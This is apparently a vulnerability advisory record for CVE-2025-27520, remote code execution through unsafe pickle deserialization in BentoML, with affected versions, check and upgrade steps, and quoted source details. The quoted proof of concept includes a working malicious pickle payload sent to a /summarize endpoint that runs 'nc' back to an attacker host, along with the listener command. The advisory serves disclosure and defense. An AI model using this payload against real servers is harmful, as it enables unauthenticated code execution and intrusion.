---
id: "CVE-2025-27520"
kind: "vulnerability"
aliases: ["CVE-2025-27520", "GHSA-33xw-247w-6hmc"]
title: "BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization"
severity: "critical"
cvss: 9.8
epss: 0.4062
exploited: false
status: "open"
category: "package"
products: [{"name": "bentoml", "fixed": ["1.4.3"], "affected": ">= 1.3.4, < 1.4.3", "ecosystem": "pypi"}, {"name": "bentoml", "fixed": [], "affected": ">= 1.3.4, <= 1.4.2", "ecosystem": "vendor"}]
ecosystems: ["pypi", "vendor"]
tags: ["bentoml", "cwe-502", "ml-serving", "package", "python", "self-hosted"]
not_affected_if: ["fixed-version", "internal-only-network", "not-bentoml"]
published_at: "2025-04-04T15:15:47+00:00"
first_seen_at: "2026-10-27T15:18:30+00:00"
updated_at: "2026-10-27T15:32:59+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-33xw-247w-6hmc", "first_seen_at": "2026-10-27T15:18:30+00:00"}, {"source": "nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27520", "first_seen_at": "2026-10-27T15:32:59+00:00"}]
---

# BentoML Allows Remote Code Execution (RCE) via Insecure Deserialization

BentoML deserializes pickled request bodies sent to its API endpoints without validation, so a crafted pickle payload runs arbitrary code on the server. An unauthenticated remote attacker who can reach the service gets code execution with the service's privileges.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- pypi:bentoml affected >= 1.3.4, < 1.4.3 fixed 1.4.3
- vendor:bentoml affected >= 1.3.4, <= 1.4.2 fixed ?

## How to check

- Run `pip show bentoml` on the service host and check whether the version is at least `1.3.4` and below `1.4.3`
- Look for services that accept requests with `Content-Type: application/vnd.bentoml+pickle` on their API routes

## Fix

- Upgrade `bentoml` to `1.4.3` or later
- Block untrusted network access to BentoML endpoints until upgraded

## Timeline

- 2026-10-27T15:18:30+00:00 ghsa https://github.com/advisories/GHSA-33xw-247w-6hmc
- 2026-10-27T15:32:59+00:00 nvd https://nvd.nist.gov/vuln/detail/CVE-2025-27520

## From the sources

### Summary
A Remote Code Execution (RCE) vulnerability caused by insecure deserialization has been identified in the latest version(v1.4.2) of BentoML. It allows any unauthenticated user to execute arbitrary code on the server.

### Details
It exists an unsafe code segment in `serde.py`: 
```Python
def deserialize_value(self, payload: Payload) -> t.Any:
    if "buffer-lengths" not in payload.metadata:
        return pickle.loads(b"".join(payload.data))
```
Through data flow analysis, it is confirmed that the `payload `content is sourced from an HTTP request, which can be fully manipulated by the attack. Due to the lack of validation in the code, maliciously crafted serialized data can execute harmful actions during deserialization.

### PoC
Environment:

- Server host:
  - IP: 10.98.36.123
  - OS: Ubuntu 
- Attack host:
  - IP: 10.98.36.121
  - OS: Ubuntu 



1. Follow the instructions on the BentoML official README(https://github.com/bentoml/BentoML) to set up the environment.

1.1 Install BentoML (Server host: 10.98.36.123) :
` pip install -U bentoml`

1.2 Define APIs in a `service.py` file (Server host: 10.98.36.123) :
``` Python
from __future__ import annotations

import bentoml

@bentoml.service(
    resources={"cpu": "4"}
)
class Summarization:
    def __init__(self) -> None:
        import torch
        from transformers import pipeline

        device = "cuda" if torch.cuda.is_available() else "cpu"
        self.pipeline = pipeline('summarization', device=device)

    @bentoml.api(batchable=True)
    def summarize(self, texts: list[str]) -> list[str]:
        results = self.pipeline(texts)
        return [item['summary_text'] for item in results]
```


1.3 Run the service code (Server host: 10.98.36.123) :
``` Bash
pip install torch transformers  # additional dependencies for local run

bentoml serve
```


2. Start nc listening on the attacking host (Attack host: 10.98.36.121) :
`nc -lvvp 1234`

3. Send maliciously crafted request (Attack host: 10.98.36.121) :
``` Python
import pickle
import os
import requests

headers = {'Content-Type': 'application/vnd.bentoml+pickle'}

class Evil:
    def __reduce__(self):
        return(os.system, ('nc 10.98.36.121 1234',))

payload = pickle.dumps(Evil())

requests.post("http://10.98.36.123:3000/summarize", data=payload, headers=headers)
```


4. Attack success (Attack host: 10.98.36.121) :
The server host(10.98.36.123) has connected to the attacker's host(10.98.36.121) listening on port 1234.
![nc](https://github.com/user-attachments/assets/858cba4a-6880-498f-b922-dd9a2dc78a85)



### Impact
Remote Code Execution (RCE).

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
